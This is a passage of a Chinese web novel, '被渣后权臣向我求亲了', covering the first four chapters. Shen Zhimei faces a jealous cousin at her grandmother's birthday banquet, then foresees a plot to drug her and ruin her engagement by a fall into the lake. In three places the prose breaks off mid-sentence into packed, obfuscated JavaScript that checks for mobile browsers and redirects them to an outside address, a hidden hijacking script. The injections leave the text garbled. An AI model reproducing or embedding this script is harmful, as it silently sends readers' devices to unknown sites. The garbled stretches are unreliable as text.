《被渣后权臣向我求亲了》 1. 第一章 骤风疏雨闹了大半宿，天光微启方才作罢，南安伯府大厨房的婆子丫鬟们已热火朝天地忙活了大半个时辰。 今儿府上广邀宾客，庆贺老夫人六十寿辰，为保宴席尽善尽美，昨日便从各院抽调来不少人手，这会儿她们一面儿预备席上菜肴，一面儿准备各位主子们晨起所用汤水，宽敞的大厨房一时熙攘喧嚣起来。 大厨房总管事蔡妈妈紧盯着各处，生怕哪儿出了纰漏，带累她吃挂落。 突然—— “嘭当！” 一阵瓷器碎裂的声响突兀传来。 蔡妈妈猛地扭脸望去。 一个丫鬟惨白着脸僵立在一滩碎瓷和汤水前，惊恐化作泪珠缀满眼眶。 小蔡妈妈眼神如菜刀般锋利，割得小丫鬟情不自禁瑟缩，回想起蔡妈妈往日整治人的种种手段，她越想越害怕，“噗通”跪地凄声哀求：“奴婢万死，可奴婢只是一时失手，实非有意，望妈妈——” “行了！”蔡妈妈沉声呵止，低眼思忖片晌儿说，“你去把剩下这一盏给二姑娘送去。” 小丫鬟叩首谢恩，忙不迭爬起来听命而去。 立在蔡妈妈身后的心腹丫鬟凑上来，小声说：“可要着人去追大姑娘那盏……” 三盏冰糖燕窝粥分属府上三位姑娘，方才大姑娘贴身丫鬟已取走一盏，那她摔碎的这一盏又该属谁？ 二姑娘和表姑娘，府上谁人不上赶着巴结。 夫人育有一儿一女，这位二姑娘便是她的嫡出爱女，自幼受尽千娇百宠，哪个不长眼的敢委屈了她。 至于表姑娘，虽说姓沈不姓陈，可她出生不久便被抱到老夫人身边教养，老夫人爱若珍宝，这些年真真照看得跟眼珠子一般，且表姑娘早与府上世子定下娃娃亲，对这位伯府未来女主人，谁又敢怠慢得罪……虽说，表姑娘一贯亲和大度，格外体恤她们这些做下人的，但却并非泥胎木塑，没脾性之人。 这府里没几人会为了奉承二姑娘而开罪表姑娘……反过来也一样。 而大姑娘却乃姨娘所出，向来不受夫人待见，因而最是谨小慎微，少一顿燕窝罢了，她定不敢吵嚷出来。 岂料，蔡妈妈眼底沉了沉，摇头道：“不必。” 心腹丫鬟不由地一愕。 她依照蔡妈妈往日行径提议，不成想却被拒绝了。 待蔡妈妈三言两语打发走碧枝后，她心里惊异再压不住，碧枝是表姑娘的贴心丫头，蔡妈妈以往哪回见了不客客气气的，方才偏敷衍得明显。今儿差事出了纰漏，妈妈竟未好生安抚好碧枝，再亲去跟表姑娘赔罪，哪怕现下抽不开身，也没遣个小丫头跟碧枝一道去沁芜院，对表姑娘道明情由。 明明前天还念叨着如何巴结表姑娘，今日一大清早就全变了样……这到底生了什么变故？ *** 沁芜院。 屋里灯烛煌煌，透过冰裂纹窗棂隐约可见里间矮榻上一道纤细身影歪斜。 沈之湄一双盈水妙目怔怔望着窗外。 这会儿风停雨歇，院里落了一地梧桐翠叶，而中央那棵合抱粗的大梧桐树，枝叶连绵如云，水洗一宿，反被浸出一股蓬勃的油润，层层叠叠，仿似四季更迭，它自岿然常绿不衰。 令人妄生时光亦可反复轮转的错觉。 云柳端着盆温水进屋，见沈之湄对窗怔忡，一面放下手上的雕花铜盆，一面絮絮关切：“雨后潮凉，姑娘莫要久在窗下，仔细惹来病气。” 沈之湄身形未动，葱白似的手扶在红漆窗棂上，一只碧汪汪的翡翠玉镯似水般流动在她如雪堆塑的腕子上。 “嗯，省得了。” 柔婉的话音融进晓风里，模糊得仿似一道清梦。 云柳将细棉大巾子浸入铜盆，小步行至矮榻前，弯腰柔声询问：“昨夜姑娘可是又被魇着了？” 沈之湄似应非应轻吟了一声。 云柳探身掩好窗，一面儿探手细揉沈之湄额角，一面儿抑着焦心问：“姑娘这回可记得梦见了什么？” 沈之湄拢眉仔细思索片晌，仍旧摇摇头。 最近几日她总梦魇，每每醒来时便头疼眼晕，心更像被人狠狠掐搦了一把，绞痛异常，可她偏又记不得梦见了什么。 倏忽一阵风掠过，枝头树叶簌簌作响，沈之湄轻轻避开云柳的手，凝神回眸道：“待外祖母寿辰过后，身子大安，再做计较不迟。” “姑娘可莫要逞强，倘您真有个好歹，老夫人又怎能安心将养。”云柳一面儿絮絮关切，一面儿麻利地绞干细棉巾子，侍候沈之湄净面洗漱。 沈之湄舒然笑应：“莫忧心。” 窗外，满眼梧桐新绿，已然抚平她自起床始的燥郁。 洗漱停当，云柳把巾子放进铜盆，眼角余光却蓦地瞥见一道娇小身影掀开门帘，磨磨蹭蹭迈进屋门，她抬脚走近人影，低低“哎”了声问道：“姑娘正等着呢，快着些。” 话落，低头又瞧见她手中红漆雕绘荷叶莲藕纹样的小茶盘上不见杯盏，疑惑不解，压着嗓子轻声道：“怎地空手回来了？” 碧枝眼角犹有残红，觑一眼屋内，小声忿忿：“大厨房的蔡婆子说今儿筹备老夫人寿宴，灶上一干人忙得人仰马翻，蹭前擦后的，不留意便将冰糖燕窝打翻了一盏。” 云柳眉心微蹙，忖了忖，问：“其余燕窝皆被取走了？” 碧枝冷声讥诮：“可不是，巴巴地把最后一盏燕窝给珠表姑娘送去请功呢。” 云柳不自觉攒起眉。 碧枝甩了个白眼，低声冷笑道：“珠表姑娘惯爱与咱们姑娘掐尖，这回只因老夫人给了咱们姑娘一副红宝耳坠，珠表姑娘便又撂起脸子，全不看她也得了一副品相极佳的南珠耳坠，更别提事后夫人单给她一整套红宝头面。咱们姑娘性好，不与她不计较，却纵得她越发狭隘小气，从相貌宠爱，到衣衫首饰，甚至连一茶一饮都要比量比量。” 云柳回神，狠狠瞪一眼碧枝，凑她耳边，肃声斥责她的口无遮拦：“调嘴弄舌，非议主家，你自己不惜命，可当心给姑娘招来是非！” “我只是替姑娘委屈。”碧枝自知理亏，却犹自忿忿。 “姑娘自有章程，你且好好办差就是。”云柳又放缓口气，“快去给姑娘温一盏蜜水。” 碧枝面上讪讪，正要转身，忽听沈之湄道：“不必，倒一盏酽茶便可。” 沈之湄已然下榻坐到妆奁前，隐隐绰绰间把两个丫鬟的对话听了个七七八八。 碧枝、云柳齐齐一僵，面面相觑片刻，急急走向沈之湄。 碧枝暗自懊悔缩不回嘴，心下惴惴，暗暗觑一眼沈之湄，看她神色如常，斗胆喊了声：“姑娘……” “嗯。”沈之湄削葱似的瓷白指尖点了下台面，徐徐道，“时辰不早了，咱们紧着些。” 说罢，沈之湄缓缓抬起眼，目光在碧枝的眼尾略略驻留，又不着痕迹瞟开，慨然笑道：“这几日府里事忙，你们免不了得更上心，等事情忙完，咱们院每人赏两月月钱，再给你俩一人一支珠钗。” 云柳碧枝两人见姑娘自眼底沁出细碎的柔光，具暗舒口气，碧枝当即双眸一亮，喜上眉梢，云柳也露出笑影，道：“谢姑娘赏。” 碧枝接口凑趣：“世上再没人比咱们姑娘更体恤，大方的了。” 云柳抬手拧了碧枝鼻子一把，含笑插科：“姑娘手松，三不五时放赏，我还道为什么，原是你这小蹄子偷偷在嘴上抹了蜜进谗言。” “姑娘偏着我，姐姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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沈之湄微微侧首，耳坠摇曳，凌空划了一道血红的光，她落下眼睫，满意一笑：“走，去给外祖母请安。” 粼粼如水的天幕上，一线金红光芒正撕开密密匝匝的云团流泻而下，和院里的煌煌灯火和连延红绸相接，映红整片天幕。 沈之湄纵比以往更早出门，一踏进寿喜堂，却有隐隐绰绰的清脆笑声涌入耳。 靠近些，居然从中辨听出表妹陈玉珠的声音。 陈玉珠一贯自诩贵重，素来待其他姐妹问安后才姗姗来迟，平日这会儿兴许才起。今儿竟真早早起了，事出反常必作妖…… 沈之湄嘴角了悟一弯。 正堂门口垂手静立了个着淡青素面杭绸比甲的小丫鬟，见到沈之湄朝里通报了一声后，忙不迭掀开门帘，小声透了消息：“大姑娘来了有一盏茶的功夫……” 沈之湄颔首致谢，侧身进门时不忘打量。 红灯彩绸早已把府里上上下下装扮一新，寿喜堂门口挂了一对洒金红联，地上铺了崭新的“吉祥福禄”纹样的猩红毡毯，紫檀多宝阁上琳琅摆设的古董瓷器各个精美华贵。 屋里一角立着一个鎏金八宝莲花座熏炉，炉内袅袅吐着云雾，烟气氤氲，勾出一帘斑驳的纱幕，或浓或淡，将旁边的乌木高几围拢，置于其上的一株金带围端雅大方更染几许缥缈仙气。 厅堂正面的紫檀罗汉床下首，置了两列铺着大红锦缎坐垫的太师椅，两大一小三个姑娘正按次序坐着笑谈。 沈之湄敛神正要上前，已有人迫不及待：“今儿表姐可是迟了。” 女声冷凌凌的，渗出丝丝缕缕讥嘲和叵测的意味。 其余两人站起本想问候，冷不防听见这话，笑容遽然一凝。 2. 第二章 沈之湄掀眸，只见最上首一个十四五岁的姑娘正似笑非笑盯着她。 两道目光如刀般一寸寸目光狠狠刮过沈之湄，心中嫉恨节节攀升。 即便心如针扎，她不得不承认她的这位表姐当真是玉貌花容，殊丽卓绝。 面颊灼灼若三春白雪，眉不画而黛，一双妙目翦水盈盈，恰似落花揉皱一池春水，无端把人揉入微醺的春风里。 托赖这副皮相，凡与沈之湄一同出现的场合，一干姐妹只能被迫沦为陪衬，陈玉珠油然忆起众位贵夫人见着沈之湄时那溢于言表的惊赞神情，心口不禁闷堵。 沈之湄微微颔首，波澜不惊笑道：“珠表妹今儿倒来得早。”行动间一双耳坠婆娑悠曳。 嵌于耳坠的红宝晕出一拢薄红，翩跹覆上她两颊，如胭似霞，道不尽的迤逦风姿。 陈玉珠硬生生磨开眼，一双纤白柔嫩的素手紧紧捏着帕子，手背上的青筋根根浮起。 祖母一贯偏心得没边，护犊子似的护着沈之湄不算，连手里的精贵物什也想一并全给了沈之湄，明明她才是伯府正经嫡出小姐，无论哪面都该是家里的头一份才是，凭什么让一个外来的表小姐处处占先？就算沈之湄以后要做世子夫人又怎地，一个童养媳而已，还当宫里公主供着了！ “今儿正逢祖母寿辰，咱们小辈合该早来候着请安，方是孝道本分，就算表姐是祖母的心头肉，她不舍得责罚，可为了这份慈爱，表姐更该自罚才是。” 陈玉珠一面儿说，一面儿睨着沈之湄，目露挑衅。 沈之湄眸里淬了一丝凉笑。 果不其然——陈玉珠还是那般，浅薄、浮躁。 给站起身的陈玉瑕和陈玉琼见礼后，沈之湄才慢条斯理拂了拂袖口，侧首搭了一眼陈玉珠，淡淡道：“表妹愈发气派了，一大早火气便这般大，张口惩闭口罚。表妹如此讲求‘孝道本分’，可是自愧往日来迟？又打算怎么自罚？若表妹不愧不罚，可是觉着外祖母于你不慈？” 轻飘飘的几问，却把陈玉珠噎住，她面色几经变换，因心虚，声音陡然拔高几阶：“你……你说什么？你不要空口污蔑！” 话落，陈玉珠神情遽然一缓，可心里到底堵了口气，便梗声嘴硬：“我，我说句玩笑罢了，偏你不依不饶，平白给我安罪名。” 沈之湄勾唇浅笑，轻声婉婉而道：“哦，看来是我误会表妹了。表妹……玩笑而已。” 这刻意的停顿，和意有所指的话意，连八岁的陈玉琼都听出来了，更遑论陈玉珠。 陈玉瑕，陈玉琼两姐妹面面相觑，都瞧见彼此眼中的惊愕，而后错开目光，或垂首假作整理衣襟，或低头绞帕偷眼竖耳，侍立一旁的丫鬟们更是浑身僵直恨不得把头埋进胸口，大气都不敢喘。 空气一时沉凝。 “你！”陈玉珠不敢置信地呆怔片刻，霍然站起身，指着沈之湄，一字一顿咬牙切齿，“你竟敢讥讽我？！” 沈之湄宛然而笑道：“我如何讥讽了？烦请表妹指点一二。” 陈玉珠杏眼大睁，胸口一阵气血翻涌。 陈玉瑕捏着帕子，神情怯怯，嘴唇翕动几回，方期期艾艾圆场：“都是自家姐妹，手足一般，一两句言语误会，很不必为此伤了和气。” 陈玉瑕是府里大姑娘，去冬及笄，乃伯夫人赵氏的陪嫁丫鬟柔姨娘所出，柔姨娘温柔入骨，容貌却不甚出众，早已失宠，母女俩皆仰赖赵氏眼色过活，由此养成陈玉瑕胆小怯懦的性子。 能顶着陈玉珠火光四溢的目光说和，已经耗光她所有气力，徒留一脸嫣红。 陈玉珠却不耐呛声：“要你多嘴！” 陈玉瑕面色陡然惨白，低头埋住神情，可身子欲盖弥彰般抖抖颤颤，宛若风中柳絮。 沈之湄蹙了蹙眉尖，行至陈玉瑕身前，抬眸睇了一眼陈玉珠，甫一启唇，忽听小丫鬟道：“老夫人，夫人到了。” 赵氏扶着一身赭红色云卿捧福团花锦缎褙子的陈老夫人进来，走到罗汉床前居中坐下，四姐妹恭立一旁，垂首给两人行礼。 陈玉珠挨到赵氏身旁，搂住母亲胳膊蹭着肩头撒娇，惹得赵氏弯了眉眼，伸出细指轻轻戳了戳她额头。 陈玉珠下巴磕上赵氏肩窝，不依般摇着她手臂，一双眸子裹满得色和讥嘲，直直望向沈之湄。 沈之湄敛目轻哂。 幼时懵懂，渴慕母亲，见陈玉珠赖在舅母怀里撒娇不自禁起了向往，陈玉珠察觉后，一发不可收拾，三不五时就要当着她的面朝母亲撒娇卖乖，十多年来乐此不疲，而这数年如一日的“母女情深”，早就激不起她一丝丝波动。 “这丫头及笄了还一副长不大的模样，整日只知跟长辈耍赖，不比咱们湄儿柔雅沉静，到底是老夫人跟前长大的，自有气派。”赵氏看着沈之湄，眼中不加掩饰地流溢出满意之色，继而垂首怜惜地捏了一把陈玉珠的耳垂，笑吟吟道，“当时阖该硬下心肠，任凭这丫头如何哭闹也得把她送老夫人这儿来。” 陈老夫人轻轻掠了一眼赵氏，目光似有嘲讽闪过，旋即不动声色道：“珠丫头明年出阁，你要多费些心，好好教导她些做人媳妇的规矩，免得到了婆家横冲直撞失了分寸，没的叫人看轻了。” 赵氏神情僵了僵，强颜一笑：“老夫人说得是，明儿就狠狠管教这丫头。” 陈老夫人似欣慰的略一点头，抬起眼瞧向沈之湄，一脸慈爱招招手道：“快到外祖母这里来。” 沈之湄近前两步，端端正正又给陈老夫人躬身福了一礼，真挚祈求：“给外祖母请安。今儿是您寿诞，孙女在这先祝您喜乐安康，福寿绵长。” “好，好。”陈老夫人把沈之湄拉到身旁坐下，握住她柔弱无骨的手细细摩挲，眉目慈和。 陈玉珠暗暗翻了个白眼，似真似假抱怨：“祖母果真最偏心表姐了。” 陈老夫人笑容几不可察地淡了少许，心中幽幽叹息，面上却不显露分毫，叫了一旁的王妈妈，仍朗声指派：“快，快把珠丫头这猴崽儿从她母亲怀里拔出来。” 而后，转头又招呼陈玉瑕、陈玉琼两人，拢到罗汉床另一侧靠她坐下。 说笑间，南安伯府其余人也一一到了。 南安伯陈预携其庶子陈或一同前来，二房陈准，陈玉琼之父随后，其妻钱氏上月诞下一子，近些时日虽免了晨昏定省，但今儿特殊，便仍与丈夫一道来了。 由是，一齐九人在陈预的带领下向陈老夫人磕头祝寿。 陈老夫人笑容满面地挥手叫起。 又说了些吉祥话，陈或似模似样惋惜道：“……可惜大哥一走近半年，这回又没能赶上祖母的寿宴。” 陈或年十三，生得目朗眉清，风姿俊秀，生母柳姨娘亦是一个玉般容貌的风雅美人。柳姨娘之父曾官至四品，昔年卷入盐课贪腐大案，获罪流放边关，两年前平反起复，只可惜柳姨娘早已香消玉殒，化为陈预心头朱砂，自幼本就受宠的陈或，此后更是常常被陈预带在身侧亲自教导。 赵氏的不快可想而知，少不得使些面甜心苦的手段，陈或逐渐察觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583728|171628||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，便对嫡母防备起来，俩人也只糊了个面上和睦。 陈老夫人轻垂下眼皮，温和道：“下月你姑父出孝进京补缺，咸哥儿介时一道，人马齐备，也免了家中长辈挂心。” 世子陈咸自幼聪颖勤学，自十四岁取得秀才功名后，便由京郊山麓书院转至青州鹿鸣书院求学，而鹿鸣书院所在寻鹿山与沈氏族地相距不过五十里，沈之湄父亲沈怀文一甲探花出身，祖宅守孝三年期间，陈咸时有上门拜访求教，情分因而愈发深厚，陈咸此次回京给祖母祝寿，半途遭遇大雨，泥石滑坡冲毁道路，退而借住于沈家，遣了健壮仆从送信回府，道明因由后，又言待天晴路通，再与沈怀文一道上京。 赵氏当即松了口气，暗剜了一眼陈或，附和道：“老夫人一派慈爱之心。” 转脸赵氏又挤出抹笑，对陈或劝慰般道，“再等一月你大哥便归家了，或哥儿莫急，到时候我特为你们兄弟单开一桌席面，再上两壶老爷窖藏的好酒。” 陈或躬身：“劳烦母亲开解。” 赵氏端出一脸温煦，略略颔首。 屋里静了几息，钱氏的笑声打破微沉的气氛，隔空点了点垂眸浅笑的沈之湄，俏声打趣：“依我看，咱们都该开解开解湄丫头才是。别急，等姑老爷跟世子回京，咱们府上的头等大事，就是着手操办你和世子的婚事。” 陈准笑道：“想来是不远了。” 陈预捋须点头，一旁赵氏的面色微不可见地变了变，就听钱氏冲她道：“嫂子得了这般品貌俱佳的儿媳，到时候我必要多讨两杯水酒。” 赵氏不动声色乜一眼沈之湄，甩了甩帕子，仿佛喜不自禁：“定少不了你的。” 沈之湄的面颊不知不觉烧出两团浅浅的绯色，忍住心头薄羞，垂首抿笑，尽管很不愿被揶揄逗趣，可事关女儿家婚事，也只能保持缄默任由她们说笑。 陈老夫人轻轻拍抚她蜷缩的手，笑斥钱氏：“今儿我就特许你两杯极品陈酿。” 钱氏掩帕笑：“再醇的佳酿也比不上侄儿的喜酒。” 又笑闹一阵，众人一同在寿喜堂用了早膳，不多久客人陆续上门，整座南安伯府渐渐喧腾起来。 沈之湄和陈氏姐妹一道在花厅接待各府千金。厅堂一面窗户大开，两株合高过屋檐的梓树，枝叶连绵如盖，遮了半边屋顶，映出满窗浓绿。隔窗远眺，一角湖影显露，隐约可见摇曳的荷苞。 花厅内摆放许多高椅矮杌，众人三三两两凑一起，身着碧青比甲腰束红带的丫鬟们穿梭，轻手轻脚奉上茶果点心，不时点缀层叠倩笑。 沈之湄正听相熟的小姐们聊近来趣闻，眼尾却瞥见陈玉瑕一脸神思不属，偏头靠近，轻声关切：“妹妹怎地了？” 陈玉瑕浑身一摆，脸色白了几刹，神情终于从惶惑勉强定格成镇静：“昨夜窗儿未关紧，想是受了些凉。” 沈之湄微一拢眉，柔声道：“可要去休憩会儿？” 陈玉瑕强颜一笑，慌乱摇手拒绝：“不打紧，不打紧，缓一缓就好了。” “不要强撑，你不必担心……”沈之湄的话被骤起的嘈杂低语打断，她循着众人视线望去，一道靛蓝人影正在众人拥簇下走过。 这人身穿素面直裰，腰上系了一块白玉坠儿，身姿颀长峻挺，泠泠如高山松柏，气度温雅里多了几分久居高位的雍容。 他面上浮着丝缕淡薄笑意，这份淡薄不着痕迹地侵入一点恰到好处的疏离，让人亲近又不失敬畏。 沈之湄望去时，那人的眸子恰也逡了过来。 3. 第三章 温煦的眸光一晃而过，极近轻描淡写，沈之湄却莫地屏了气息。 如若她没认错，此人应是刑部尚书程晋安，当朝帝师，入选文渊阁，乃最年轻的内阁大学士。 三年前，北狄举十万兵马挥刀南下，接连屠戮西北几座城池，先帝勃然而怒，携三十万大军御驾亲征，却因好大喜功中了北狄圈套，葬送数万人马不说，还差点为北狄劫撸，是先太子主动做饵，引走部分追兵，方使天子免受折辱，而先太子却殒命于北狄的砍刀和铁蹄之下。虽北狄人马最终被赶回草原，但先帝先历兵燹，再闻知爱子惨死，且跟随御驾朝臣死伤过半，哀伤悲恸之下，吐血昏厥，之后缠绵病榻，身子日渐衰败，凛冬未半便驭龙归西，幸而已立嫡次子为太子。大臣们于灵前三请三跪，拥立当今登基继位。 程晋安为当今筵讲数年，颇得信重，且在战时立过大功，今上登基后，擢拔他为刑部尚书，又力排众议选他入阁。程晋安亦未辜负当今，入阁不到半年，便办了几件大事，助新皇收拢权力，稳固朝局。 京中近来渐有小话，说皇帝龙心大悦，已给程晋安预留了下任首辅之位。 外头一行人的身影须臾便隐匿于葱茏枝叶中，沈之湄敛目收神，便见众闺秀捂嘴掩帕，眉目飞扬凑头低语，不经意几句漏入她耳。 “程大人今才而立之年已经是内阁阁老，朝廷二品大员，执掌一部衙门，听说陛下颇为倚重，竟专门在京营挑选身手高强的侍卫给他。程老夫人的诰命也早早一并赐下了。” “……程大人今岁二十有九了吧，至今未听程大人娶妻传闻，有何隐秘不成？” “十年前程大人未婚妻意外伤逝，昭觉寺的了悟方丈便给程大人批过命，说他命格殊异，而立之前不可娶妻。” “竟有这等事！那待明年……” “据说，程家还有四十无子方可纳妾这一条祖训……如今武安侯府五小姐，袁首辅嫡三孙女可都未议亲……” 永宁伯府二小姐郑嫣捻指轻扯了下沈之湄衣袖，微一撇嘴，凑到她耳畔不耐道：“不知打哪儿吹来的风，每回赴宴必有人说起程大人娶亲之事，都成宴前例菜了。只望程夫人快些进门，绝了某些人的念想，刹住这股浮躁之风。” 程晋安年轻位重，膝下尚无子息，内宅又干净，且甫一嫁给他便二品诰命加身，省去一步步苦熬之累，不可不畏春风得意。是以，不论世勋贵胄，还是官宦名门，无不殷殷关切。 待来年，程晋安已可娶妻，因此益发为人津津乐道。 沈之湄不予此置喙，只笑道：“下月西山寺举办法会，介时咱们一道避开人去后山赏景。” “我怕是去不成了。”郑嫣一脸惋惜不甘，“今儿回去我娘就要把我拘家里绣花，学规矩。” 沈之湄轻轻捏她脸颊道：“不然你近些日子乖顺一点，保不齐伯母一心软，便松口解了你的禁。” “不会的。”郑嫣矢口否认，踌躇了一会儿，挨着沈之湄的耳廓虚声道，“上月江州吴家遣人上京请期，家里商议后，把日子定在九月二十三。” 沈之湄一时愕然。 郑嫣两颊飞上红云，声音虽小却中气十足威胁到：“你可不要说出去，今儿我只想安安生生听戏玩乐，不想被她们搁嘴里一嚼再嚼。” 沈之湄颔首应下，又疑惑道：“你两月前方及笄，先前不是说日子约莫在明年春吗？” 郑嫣抿唇道：“据说他家老太爷身子一日不如一日，怕撑不过今冬，吴公子已得秀才功名，正该专心举业，须得有人替他打理内帏……” “江州距京城千里之遥，风俗气候又不尽相同，南下送年礼的下人回来都说那里冬天又湿又冷，泡冰水里似的，寒气直朝骨头缝钻……吴家是江州大族，五世同堂，一大家子几十口哪一个都少不了打交道，只想想就令人发憷。” 郑嫣抬眼见沈之湄秀致的眉头蹙起，重又绽开灿笑，欺身揉上沈之湄两颊：“好生羡慕你啊，嫁入从小生活的府邸，又有亲长护持，不用去磨合适应全不同的地域、人事，最最紧要的，你和陈世子青梅竹马，相伴长大知根知底，情分非比寻常，往后的日子定然平顺安乐。” 沈之湄拨开她的手，脸颊隐隐发烫，不知是被揉捏的，还是羞的：“妹妹还不住口，左口一个嫁右口一个情分的，敢情你才盼着嫁呢。” 郑嫣拉住沈之湄的葱管般细嫩的手，狡黠地一再儿眨眼，意味深长笑道：“那春日的双燕风筝，入夏的白娟地绣蝶恋花镂空玉柄团扇，秋儿的枫叶签儿，冬天的兔子冰灯，我可有记差？哦，还有陈世子去书院读书后，快马加鞭捎回来的书信土仪竟没姐姐的不成？” 郑嫣瞧着沈之湄渐渐怔然。 面似朱曦照水，目含月皎清辉，只侧身盈盈一立，满屋的婀娜娇色竟生生被掠去三分颜色。 这般绝双颜色，世间又有哪个儿郎不爱？ 沈之湄羞窘低呵：“你还说！” 敷水的眸子低垂，光华猝然凝了瞬。最近一年，表哥少送她这些小玩意了…… 郑嫣好一通笑，见沈之湄娇生生的小脸只羞赧一会儿很快又镇定从容起来，她也熄了打趣的心思，正了神色：“陈世子房里至今没放人，洁身自好一心功名，一应衣食起居都是贴身小厮照料，即便日后移了性情，你外祖母也可震慑一二，他总不敢太过亏待你。” 沈之湄亲密地握住她的手，动容道：“妹妹有心了。” 郑嫣叹息：“似他前途远品性佳的儿郎在贵勋仕宦圈真如凤毛麟角般，也就程大人……” “说到程大人，都说他后宅是极清净的，不知吴公子……”郑嫣的怅惘揉碎话音，渐渐低不可闻。 沈之湄眸子低垂几息，重又抬眸提唇，轻轻扶着郑嫣手背，温笑道：“伯母亲自给你挑的人，还能不好？” 郑嫣哑然而笑：“也是，我娘眼光自来精准。” 蓦地，不远处一阵嬉笑轰然四散，沈之湄目光投过去，只见陈玉珠坐在左边第三桌，和四五个珠环翠绕的女孩子凑一起笑得花枝乱颤，觉察沈之湄眸光，顿时止了笑，毫不客气翻了俩白眼。 沈之湄镇定自若挪开眼，忽听郑嫣道：“家家有本难念的经，谁人路上又没几个坎呢？我远嫁前途未知，你也有这样一个跋扈受宠的嫡亲小姑子，都难呢。” “妹妹父母疼宠，兄弟出息，伯府嫡出贵女，还没怎么，怎地倒丢了以往的爽利明朗？左不过兵来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小丫鬟十一二岁的模样，力气不足，举壶的手正微微颤抖，沈之湄手一顿，把茶盏放于海棠填漆的如意方桌上。 斟满杯后这丫鬟小小声舒了口气，觑见沈之湄盈笑的眸子，已机灵反应过来，连忙甜笑道：“姑娘慈悲。” 沈之湄呷了口茶，轻笑道：“你自去吧。” 小丫鬟“哎”了声，一忽儿功夫便没了踪影。 又坐了半晌，陈玉瑕院儿里一个眼熟的丫鬟急匆匆找到沈之湄，贴耳慌道：“表姑娘，我们姑娘忽而起了热，烧的厉害，您能不能去瞧一瞧？” 沈之湄片刻惊愕后恢复镇定，与郑嫣耳语几句，跟那丫鬟悄悄从后头离开。 甫一出门，沈之湄眼前倏尔黑沉，脚下不由地趔趄，幸而那丫鬟搀住了她：“姑娘怎么了，可要紧？” 沈之湄咬唇喃喃：“……头晕、晕得厉害。” 那丫鬟焦急道：“姑娘再忍耐一二，前边不远有石凳，待会您先坐下歇歇，容奴婢去找人抬轿撵来接您。” 沈之湄头昏脑涨地点了点头，随她踉跄迈步。 4. 第四章 沈之湄眼前堵了团浓雾，雾里浮上一幕幕画面，朦朦胧胧，耳边似有哭骂争吵声，一阵天地倒转的眩晕猝然袭来，一股锥心刺骨的疼痛过后，雾气陡然逸散，画面慢慢明晰起来。 “来人啊，表姑娘摘荷花不小心落水了，谁来救救她！” “湄儿别怪舅母狠心，你和一男子大庭广众搂抱一处，你和咸儿的婚事就此作罢，咸儿不能娶一贞洁有污的女子为妻，若不然他日位列朝堂，岂不受人耻笑，妨碍前程？” “外祖母也曾盼你和咸哥儿情敦鹣鲽、相濡以沫，往后瓜瓞绵延，相携白头，可命不由人。过去就过了，莫再自苦，莫要回头，日子在前头，用心经营自差不了。” “跟爷装清高，陈家不要的破鞋罢了！那日我还疑惑，引路那丫鬟将我缠在湖边作何，却原来想送我个美人儿……贱人竟敢打我？你找死……湄儿、沈之湄，你不要吓我，你说话啊，都死到哪里去了，快去找大夫……” …… 一幕幕场景针凿斧劈般灌入脑海，沈之湄的心也随之沉到森寒的湖底。 方才的场景不像是幻境，倒像是铭心刻骨的回忆，虽零落残缺，也足以她拼凑出一个连贯故事。 沈之湄已被丫鬟搀扶到石凳坐下，身后是粼光似刃的湖面，花苞压着伶仃荷梗摇晃挥刀。 幻境中，就在这片湖她失足被一外男救起，衫裙湿透，肌肤相触，被花厅娇客瞧个正着，再然后尊严、名声被一道道凌迟的目光片落在地…… 沈之湄惊魂不定，胸口剧烈起伏，一时分不清真实与幻境，头晕得愈发厉害，那丫鬟已离开去寻人，她身形摇摇曳曳，终于撑不住侧伏于石凳上。迷蒙混沌中，沈之湄忽听一道突兀的男声高和：“这就是你们南安伯府的赏景湖？” 闻声，她心头剧震，晕沉的脑子登时一醒，旋即整个人抖如筛糠。 这道男声竟和幻境里新婚之夜打她，致使她意外身亡的凶手的声音一模一样，连那浪荡的轻浮口气都吻合上了。 总不可能她凭空臆想出的声音恰巧和将才的男声一般无二，如出一辙吧？唯一能解释的只能是，不远处的男人和幻境里的浪荡子本就是同一个人。 ……而那所谓的幻境亦是真实，或者说倘使她不作为任其发展，幻境就会成为真实。 一股莫名的寒意缓缓爬上沈之湄的脊背，沁出细细密密的冷汗。 所有的不幸起自落水。这突如其来的晕眩来得莫名，沈之湄来不及细究，当下最紧要的，而刚刚同行那丫鬟极大可能是害她落水的帮凶，她必须趁人不在尽快远远离开。 强烈的昏沉睡意卷席而来，沈之湄费力眨了眨眼，甩头坐起身，余光却瞥见那丫鬟去而复返，想来对方应是从未远离，而是躲于暗处待她药效发作再行余后谋划。现下的沈之湄虚弱无力，神志恍惚，想摆脱困境仅有一个可行的法子…… 狠狠心咬破舌尖，尖锐的刺痛让脑袋获得短暂清明，沈之湄来不及彷徨惧怕，悄悄捡起一块尖利的石头紧紧攥在掌心。 “表姑娘。”那丫鬟一面走近一面讨巧道，“奴婢记起今早我家姑娘便说要摘些花儿插瓶熏屋，方才奴婢竟忘了，这会儿先摘一捧回去，不然定会被姐姐们好生训斥一番，表姑娘您行行好再稍等等，千万莫怪。” 沈之湄轻轻淡淡“嗯”了声：“无碍。” 